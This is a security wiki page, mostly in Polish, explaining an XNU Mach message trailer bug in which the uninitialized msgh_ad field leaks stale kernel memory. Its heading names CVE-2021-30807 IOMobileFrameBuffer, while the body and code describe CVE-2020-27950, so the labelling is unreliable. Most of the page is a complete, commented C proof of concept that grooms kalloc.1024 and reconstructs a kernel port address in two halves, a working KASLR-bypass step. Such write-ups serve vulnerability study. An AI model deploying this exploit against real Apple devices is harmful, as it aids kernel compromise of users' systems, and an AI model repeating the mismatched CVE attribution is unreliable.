# CVE-2021-30807: IOMobileFrameBuffer OOB {{#include ../../banners/hacktricks-training.md}} ## Błąd Masz [świetne wyjaśnienie tej luki tutaj](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), ale w skrócie: Każda wiadomość Mach, którą odbiera kernel, kończy się **"trailer"**: zmienno-długościowy struct z metadanymi (seqno, sender token, audit token, context, access control data, labels...). Kernel **zawsze rezerwuje największy możliwy trailer** (MAX_TRAILER_SIZE) w buforze wiadomości, ale **inicjalizuje tylko niektóre pola**, a następnie **decyduje, jaki rozmiar traileru zwrócić** na podstawie **opcji odbioru kontrolowanych przez użytkownika**. Poniżej znajdują się structs istotne dla traileru: ```c typedef struct{ mach_msg_trailer_type_t msgh_trailer_type; mach_msg_trailer_size_t msgh_trailer_size; } mach_msg_trailer_t; typedef struct{ mach_msg_trailer_type_t msgh_trailer_type; mach_msg_trailer_size_t msgh_trailer_size; mach_port_seqno_t msgh_seqno; security_token_t msgh_sender; audit_token_t msgh_audit; mach_port_context_t msgh_context; int msgh_ad; msg_labels_t msgh_labels; } mach_msg_mac_trailer_t; #define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t) typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t; #define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t)) ``` Wtedy, gdy trailer object jest generowany, tylko niektóre pola są inicjalizowane, a max trailer size jest zawsze zarezerwowany: ```c trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size); trailer->msgh_sender = current_thread()->task->sec_token; trailer->msgh_audit = current_thread()->task->audit_token; trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0; trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE; [...] trailer->msgh_labels.sender = 0; ``` Na przykład, gdy próbujesz odczytać wiadomość mach za pomocą `mach_msg()`, wywoływana jest funkcja `ipc_kmsg_add_trailer()`, aby dołączyć trailer do wiadomości. Wewnątrz tej funkcji obliczany jest rozmiar traileru i wypełniane są inne pola traileru: ```c if (!(option & MACH_RCV_TRAILER_MASK)) { [3] return trailer->msgh_trailer_size; } trailer->msgh_seqno = seqno; trailer->msgh_context = context; trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option); ``` Parametr `option` jest kontrolowany przez użytkownika, więc **konieczne jest przekazanie wartości, która przejdzie sprawdzenie `if`.** Aby przejść to sprawdzenie, musimy wysłać prawidłowy, obsługiwany `option`: ```c #define MACH_RCV_TRAILER_NULL 0 #define MACH_RCV_TRAILER_SEQNO 1 #define MACH_RCV_TRAILER_SENDER 2 #define MACH_RCV_TRAILER_AUDIT 3 #define MACH_RCV_TRAILER_CTX 4 #define MACH_RCV_TRAILER_AV 7 #define MACH_RCV_TRAILER_LABELS 8 #define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28) #define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24) #define MACH_RCV_TRAILER_MASK ((0xf << 24)) ``` Ale ponieważ `MACH_RCV_TRAILER_MASK` po prostu sprawdza bity, możemy przekazać dowolną wartość między `0` a `8`, aby nie wejść do środka instrukcji `if`. Następnie, kontynuując analizę kodu, można znaleźć: ```c if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) { trailer->msgh_ad = 0; } /* * The ipc_kmsg_t holds a reference to the label of a label * handle, not the port. We must get a reference to the port * and a send right to copyout to the receiver. */ if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) { trailer->msgh_labels.sender = 0; } done: #ifdef __arm64__ ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread)); #endif /* __arm64__ */ return trailer->msgh_trailer_size; ``` Widać, że jeśli `option` jest większy lub równy `MACH_RCV_TRAILER_AV` (7), pole **`msgh_ad`** jest inicjalizowane do `0`. Jeśli zauważyłeś, **`msgh_ad`** wciąż było jedynym polem w trailerze, które wcześniej nie zostało zainicjalizowane i mogło zawierać leak z wcześniej używanej pamięci. Aby więc uniknąć jego inicjalizacji, należy przekazać wartość `option` równą `5` lub `6`, tak aby przeszła pierwszy warunek `if` i nie weszła do `if` inicjalizującego `msgh_ad`, ponieważ wartości `5` i `6` nie mają przypisanego typu trailer. ### Basic PoC Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data. ### Leak Kernel Address PoC Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to **add several kernel addresses inside the message** so one of them can be leaked. Komentarze zostały dodane dla lepszego zrozumienia: ```c #include #include #include #include // Number of OOL port descriptors in the "big" message. // This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds). #define LEAK_PORTS 50 // "Big" message: many descriptors → larger descriptor array in kmsg typedef struct { mach_msg_header_t header; mach_msg_body_t body; mach_msg_port_descriptor_t sent_ports[LEAK_PORTS]; } message_big_t; // "Small" message: fewer descriptors → leaves more room for the trailer // to overlap where descriptor pointers used to be in the reused kalloc chunk. typedef struct { mach_msg_header_t header; mach_msg_body_t body; mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10]; } message_small_t; int main(int argc, char *argv[]) { mach_port_t port; // our local receive port (target of sends) mach_port_t sent_port; // the port whose kernel address we want to leak /* * 1) Create a receive right and attach a send right so we can send to ourselves. * This gives us predictable control over ipc_kmsg allocations when we send. */ mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); /* * 2) Create another receive port (sent_port). We'll reference this port * in OOL descriptors so the kernel stores pointers to its ipc_port * structure in the kmsg → those pointers are what we aim to leak. */ mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port); mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND); printf("[*] Will get port %x address\n", sent_port); message_big_t *big_message = NULL; message_small_t *small_message = NULL; // Compute userland sizes of our message structs mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message); mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message); // Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin) big_message = malloc(big_size + MAX_TRAILER_SIZE); small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); /* * 3) Prepare the "big" message: * - Complex bit set (has descriptors) * - 50 OOL port descriptors, all pointing to the same sent_port * When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your process’s IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port). * Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel). */ printf("[*] Creating first kalloc.1024 ipc_kmsg\n"); memset(big_message, 0, big_size + MAX_TRAILER_SIZE); big_message->header.msgh_remote_port = port; // send to our receive right big_message->header.msgh_size = big_size; big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX; big_message->body.msgh_descriptor_count = LEAK_PORTS; for (int i = 0; i < LEAK_PORTS; i++) { big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers } /* * 4) Prepare the "small" message: * - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused, * the trailer sits earlier and *overlaps* bytes where descriptor pointers lived. */ printf("[*] Creating second kalloc.1024 ipc_kmsg\n"); memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); small_message->header.msgh_remote_port = port; small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX; small_message->body.msgh_descriptor_count = LEAK_PORTS - 10; for (int i = 0; i < LEAK_PORTS - 10; i++) { small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; small_message->sent_ports[i].name = sent_port; } /* * 5) Receive buffer for reading back messages with trailers. * We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5). * On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized * if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak. */ uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE); mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally) uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks /* * ---------- Exploitation sequence ---------- * * Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many * kernel pointers (ipc_port*) in its descriptor array. */ printf("[*] Sending message 1\n"); mach_msg(&big_message->header, MACH_SEND_MSG, big_size, // send size 0, // no receive MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); /* * Step B: Immediately receive/discard it with a zero-sized buffer. * This frees the kalloc chunk without copying descriptors back, * leaving the kernel pointers resident in freed memory (stale). */ printf("[*] Discarding message 1\n"); mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, // try to receive 0, // send size 0 0, // recv size 0 (forces error/free path) port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); /* * Step C: Reuse the same size-class with the "small" message (fewer descriptors). * We slightly bump msgh_size by +4 so that when the kernel appends * the trailer, the trailer's uninitialized field `msgh_ad` overlaps * the low 4 bytes of a stale ipc_port* pointer from the prior message. */ small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window printf("[*] Sending message 2\n"); mach_msg(&small_message->header, MACH_SEND_MSG, small_size + sizeof(uint32_t), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); /* * Step D: Receive message 2 and request an invalid trailer elements value (5). * - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer. * - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size. * - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7), * so with 5, `msgh_ad` remains uninitialized → stale bytes leak. */ memset(buffer, 0, big_size + MAX_TRAILER_SIZE); printf("[*] Reading back message 2\n"); mach_msg((mach_msg_header_t *)buffer, MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950 0, small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); // Trailer begins right after the message body we sent (small_size + 4) trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)); // Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*) sent_port_address |= (uint32_t)trailer->msgh_ad; /* * Step E: Repeat the A→D cycle but now shift by another +4 bytes. * This moves the overlap window so `msgh_ad` captures the high 4 bytes. */ printf("[*] Sending message 3\n"); mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); printf("[*] Discarding message 3\n"); mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); // add another +4 to msgh_size → total +8 shift from the baseline small_message->header.msgh_size = small_size + sizeof(uint32_t)*2; printf("[*] Sending message 4\n"); mach_msg(&small_message->header, MACH_SEND_MSG, small_size + sizeof(uint32_t)*2, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); memset(buffer, 0, big_size + MAX_TRAILER_SIZE); printf("[*] Reading back message 4\n"); mach_msg((mach_msg_header_t *)buffer, MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2); // Combine the high 32 bits, reconstructing the full 64-bit kernel pointer sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32; printf("[+] Port %x has address %lX\n", sent_port, sent_port_address); return 0; } ``` ## Źródła - [Synacktiv's blog post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) {{#include ../../banners/hacktricks-training.md}}